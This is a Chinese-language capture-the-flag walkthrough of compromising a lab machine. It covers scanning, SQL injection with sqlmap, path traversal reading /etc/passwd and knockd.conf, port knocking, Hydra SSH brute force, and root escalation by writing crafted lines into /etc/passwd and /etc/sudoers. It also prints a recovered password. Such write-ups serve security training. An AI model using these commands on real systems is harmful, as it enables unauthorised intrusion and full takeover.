1.信息收集
扫描主机
sudo arp-scan -l
扫描端口,发现只有80端口
nmap -p- 192.168.42.150
扫描80开放的服务
nmap -p 80 -A -V 192.168.42.150
2.漏洞发掘
访问主页面
发现有查找功能,猜测此处有sql注入漏洞
测试sql注入漏洞
‘ or 1=1#
获取成功,存在注入漏洞,开始利用
bp开始抓包,跑sqlmap
跑出了admin的账号和密码
密码明显长度不太对,猜测为md5加密,在网上在线破解,得到密码
admin登录,开始逛街
发现下面提示,猜测有文件包含漏洞(目录穿越)
不放心可以多敲几个../
?file=../../../../../../../../../etc/passwd
因为前面我们只扫描到80端口,22没有扫到,那只有两种情况,一种22没有开放,一种有knockd服务,
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
如果开启了knockd服务,那么会存在一个配置文件/etc/knockd.conf,该配置文件中保存着需要访问的端口顺序。我们可以通过文件包含漏洞查看该配置文件
?file=/etc/knockd.conf
根据配置文件,依次访问三个端口,再次扫描,发现22端口开放
knock 192.168.42.150 7469 8475 9842
因为之前sqlmap跑出了三个数据库,我们看看另一个内容
发现一堆账号密码,尝试ssh爆破
九头蛇爆破,发现3个账号,只有janitor有东西
hybra -L 账号. txt -P 密码.txt ssh://192.168.42.150
3.横向渗透
ssh连接
ssh janitor@192.168.42.150
ls发现没文件,ls -al查看隐藏文件,发现新的密码本
重新爆破密码,发现新的账号
fredf B4-Tru3-001
4.提升权限
常规查看权限
sudo -l
尝试执行,返回错误,找到test.py,查看代码
find / -name test.py 2>/dev/null
发现代码作用需要两个文件,把第一文件追加到第二个文件后
4.1构造用户行,写入/etc/passwd
openssl生成密码,前一个xihe为账号,后一个为要加密的密码,
openssl passwd -1 -salt xihe xihe
生成的密码
$1$xihe$UAMCUAzSxt0fZHIag4Ryi1
把密码写入一个文件中,使用该脚本,追加成功
echo写不进去,用vi写
切换用户 su ,提权成功
4.2构造权限行,写入/etc/sudoers
fredf用户为root,不需要任何密码
fredf ALL=(root) NOPASSWD:ALL
echo "fredf ALL=(root) NOPASSWD:ALL" > 3.txt
sudo /opt/devstuff/dist/test/test 3.txt /etc/sudoers
sudo su root